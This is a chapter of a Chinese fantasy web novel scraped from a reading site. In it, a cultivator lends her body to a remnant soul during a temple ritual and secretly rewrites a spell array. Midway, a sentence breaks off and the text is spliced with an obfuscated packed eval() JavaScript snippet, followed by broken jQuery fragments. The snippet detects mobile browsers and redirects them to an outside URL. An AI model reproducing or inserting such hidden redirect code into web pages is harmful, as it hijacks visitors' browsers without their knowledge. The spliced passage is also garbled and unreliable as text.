默认冷灰
24号文字
方正启体

26. 娘娘

作者:好事本书字数:K更新时间:
    后殿相比前面要小许多,偌大的窗开在一侧,层层叠叠的纱又遮住窗外的月亮。一幅幅连环画被绘在满室的墙壁之上,不绝的故事在其中展开,不过更吸引人的或许是那悬于一壁之中数不尽的典籍。


    身体里残存的意识比自己更清楚要做什么,方觉夏依照方才在大殿那样适当交出控制权,一边看着自己的身体默默坐于窗口处穿上属于祭司的衣饰;一边分神观察着墙上的图画。这些画清晰精美,不需要文字也能让人一眼明白在讲述什么。


    创世、繁衍、庇护和传承,典型的神话故事,而其中的主角被她们称为“娘娘”。


    图画的尽头,最终停留在一幕:那位死去的神灵被信徒感动,借信徒之身再次降临世间,而她的族人们,全都跪拜在地,高呼“娘娘”。没有名字,只有“娘娘”二字。


    娘娘?


    两个字在方觉夏舌尖轻轻滚动,却没有被吐出。


    这是所有图画之中唯二的文字,方觉夏既没见过也不懂这文字,或许是云的原因,她却一看便知道是什么意思。


    在这满室的书籍之中也许会有这位“娘娘”具体的尊命、神格与神权,但方觉夏现下总归不可能把这里都翻一遍。


    一旁的余天胆子大起来些,在书架之前慢悠悠来回晃着,带他们进来的女子见状也没说什么。不过能允许余天在其中翻开,看来这里面的书也不是什么绝密禁忌。


    温向烛倒是想借身体之便直接翻看,可惜这座大殿一视同仁,他什么都碰不到。后殿之内通往其他地方的门扉被紧紧锁住,他的视线只能一遍又一遍在方觉夏的状态和墙上的图画上来回切换。


    似乎是确认自己不能在这其中找到什么,温向烛放弃四处探查,慢悠悠来到窗边,在窗棂之上随意斜坐下,一条腿垂着,风吹得衣角乱晃。他动了动头,直直盯着正在往脸上勾画纹路的方觉夏或者说云看,饶有兴趣观察着那张陌生的面孔之上一点点成型的图案。


    方觉夏没理会他的直戳戳的视线,她对自己脸上的东西也挺有兴趣。云一画完,方觉夏立马接管身体,拿起面前小小的水镜,对着镜面细细端详面容上的纹路——用青蓝金三色颜料交织绘成,风格和一路的图腾很相似。


    人神相接,奇谲多变。


    有这手艺不去摆摊可惜了?方觉夏惋惜。


    端着镜子欣赏了一会儿,她若有所思。最后,在那位“母亲”皱眉开口前,果断将身体再次借出去。


    “自己”缓缓放下水镜,不紧不慢站起身穿上一旁挂着的外袍,对着女子颔首,那位“母亲”脸上的疑惑之色才褪去。令方觉夏惊讶的是,对方在“自己”装扮好颔首之后,反倒对着自己行了个礼,手势复杂,看得她眼花缭乱。


    看来神权在这个族群地位很高啊。


    方觉夏趁着这个空挡用余光扫了几眼一旁书架上的书,随后收回目光,交由云把自己带着出去。


    温向烛斜倚在窗边,将方觉夏的几个小动作看得分明,直到对方起身离开,他忽地笑了一声,笑声短促而轻,微不可察,散在风之中。


    偏偏方觉夏还是听到了,她微微偏头,目光掠过窗边的温向烛,眉梢一扬,神情淡淡,像是回他那声笑,随后毫不犹豫离开后殿。


    胆子真大,敢让夺舍的残魂和自己换掌身体。


    他漫不经心想着,收回视线,眉目低垂拉了一把还在埋头看书的余天,又抬眼地跟上方觉夏离开。


    大殿内人声鼎沸,陆陆续续还有人从殿门进入,但已经不多,水潭四周的座位都坐满人,还有人不断从其中插位进去。那个水潭中的圆台周围有四个小小的、仅能容忍一人跪坐的玉台,四个穿着相似,手上却持着不同东西的“人”坐在上面。


    看到其中一个还是自己刚落地就砍过的,柳随风忍不住扯扯嘴角,偷笑两声。


    怪不得跑那么快,原来是急着去表演!


    “你笑什么?”一只小手伸过来,毫不留情往柳随风头上拍一下,谭绿蘋看着突然笑得猥琐的柳随风狐疑道。


    叶云逸闻声也看过来,眯了眯眼,手上做出防御的动作。


    “嘶~谭师妹,你这是公报私仇。”揉揉自己的后脑勺,柳随风把自己的发现告诉旁边的几个人,囔囔道。


    谭绿蘋和叶云逸听完前因后果,面色古怪看了柳随风几眼。随后,谭绿蘋毫不遮掩翻一个白眼道:“谁知道会不会你被夺舍?”倒也没否认自己就是公报私仇。


    叶云逸低咳一声,转移话题:“不知道其他人变成了谁。”这话意有所指,在场几个人都明白是说方觉夏两人。


    溪水里的鱼。


    这是方觉夏进去之前留下来的提示。


    靠着方觉夏最后给柳随风的传音,几个人在方觉夏走后没多久就进城了。只是进入此地不久,整个山城浦一有人出现,他们就变成这副孩童模样,识海里还都多了一抹残魂。


    此后几人又差点被所谓的“家里人”给强行拉走。他们的灵力修为还在,但一进城就动手还是太冒险。幸亏叶云逸机敏,见所有人都往一个方向走,临时扯出个谎说他们几个小伙伴想一起上山,才被放过一马,只是留下两个“人”看着他们一起上山。


    思绪流转间,整个大殿渐渐安静下来,谭绿蘋几人见状也顾不得其他,只好赶紧找位置坐下,好让他们不在众人静坐的大殿中那么突兀。叶云逸临走之前拉了一把一旁出神的明似,摇摇头带着对方跟上队伍。


    这姑娘从看到那两人先跑了就对他们意见很大,他其实不太能理解。且不说对方和他们本来就非亲非故、萍水相逢,就算是同门,也没有非要同进同出、毫无保留的道理。


    更何况人家还留了线索。叹一口气,他带着明似坐下来。


    自己的任务,哭着也得做完。


    另一边,同样坐在席间,变小的秦峭面色不明,小小的脸紧绷着,她观察着整个大殿和殿内的情况。注意到安静下来的众人,她和一旁的左平晓几人交换眼神,全神贯注盯着前方的水潭和逐渐走向那里的少女。


    整个大殿在方觉夏走出来之后就陷入沉静,方觉夏任由云操控着身体行走。余天跟在她身后,还没走出几步就被那个女人拦住,她凝眉道:“羽,去那边,回到你的位置。”


    余天顺着她所指的方向看过去,那一片坐在一起的都是孩童。他犹豫起来,在这个陌生的环境里,他不想离开自己唯一信任的人。


    注意到这一幕,方觉夏停下来,伸出手揉揉他的头。


    别怕,先过去。


    接收到对方的意思,余天略微安下一点心来,不舍地走向那边。直到坐下,回味起方才的情绪心理,他才后知后觉发现,自己变成小孩后,心智也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030833|194552||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    受到了影响。


    是因为那抹残魂吗?


    没等他想太多,仪式正式开始。方觉夏再次抬脚走向那个水潭,她的头微微低垂,始终与前方留出一臂距离。


    注意到周围人的目光,方觉夏眨眨眼,饶有兴趣的用余光窥视着空无一人的前方。


    果然,这场祭祀的主角从来不是云,是她前面“这位”啊……


    温向烛显然也注意到了这一点,仗着无法被看到的优势,他理所当然跟着在方觉夏后面,就这么一步一步,踏上本该沉溺此刻却已凝结的水面,走向圆台。


    作为唯一一个能踏上中间圆台的祭司,方觉夏或者说云只到台侧便停下来默默跪坐在地上,她的手置于身前圆台之上。


    刹那间,平平无奇的圆形石台之上亮起无数根交缠在一起又格外有序的金线。


    是灵线!


    温向烛见状微微一惊,紧靠方觉夏就地坐下,一只手轻轻搭在随意曲起的腿上,撑着下巴就这么盯着她面前的灵线,一向漆黑的双瞳中却闪着几丝兴奋的光,一如方觉夏此刻的神情。


    灵线,灵纹,年轻的阵师看到这个,总是难免欢喜的。


    像是察觉到什么,方觉夏又默默递交出去一部分权利给身体里的云,却更进一步牢牢守住识海丹田,凝神静静看着身体之中的另一个人完全接过手中千万丝金线。


    音起,四角的人跪坐,吹拉弹打手上的东西,到现在外来穿入的几人才知道这原来是乐器。


    同一时刻,一旁的云随之动手,十指灵活的转动,那些不知道用什么方法化作实体保存下来的灵线在她手中被转换,拨开又连接,整个圆台的上纹案也跟着飞速变化,巨大的灵力似潮如波从中心荡开,送入每一个人身体之中。


    四周的人们敬畏崇拜的眼神全都投向圆台中央,随之移动,好似有人在上面翩翩起舞。


    一旁能看到温向烛和方觉夏,却看不到圆台中有人的柳随风和秦峭等人见状,神色几番变化,感受到身体之中多出来的一点灵力,最终还是忍下一切惊疑,在原地默默看着这诡异的一幕。


    飞速记忆着手上灵线和圆台纹样的变化,方觉夏瞥了一旁的温向烛一眼,发现他也和自己差不多,神色投入。


    只有阵师才会如此。


    一直到进入第二轮,重复的动作出现,方觉夏才渐渐松开心神,分心看了空无一人的圆台一眼,她突然有一个想法,唇角微勾。


    手上一动,云的动作被打断,下一刻又立马衔接上。只是一缕金线早被挑开,飞到圆台中央,附着到他们看不到的人身上,消失的神女与舞蹈再次被一根简单的灵线写意展示。


    金花细落,遍地玲珑。


    收回自己摸空的手,温向烛注视着那双修长素白、与金线共舞的手。那些纹路看似和之前台面上的一样,但实际每一次变化已经全都被修改。


    哪怕只有一条灵线离开,圆台整个纹路都会变化。


    他忍不住挑了挑眉,抬头看向神采奕奕、玩得不亦乐乎的方觉夏。


    有本事抽走一条线改了整个走向,他就不信对方看不出现在整个灵阵摇摇欲坠,勉强维持,全靠她手上随机应变。


    可惜碰不到,不然他也想试试。


    突然感应到什么,下一刻,他面上恹恹的神色一扫,拦不住的愉悦自眉眼间泄出。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)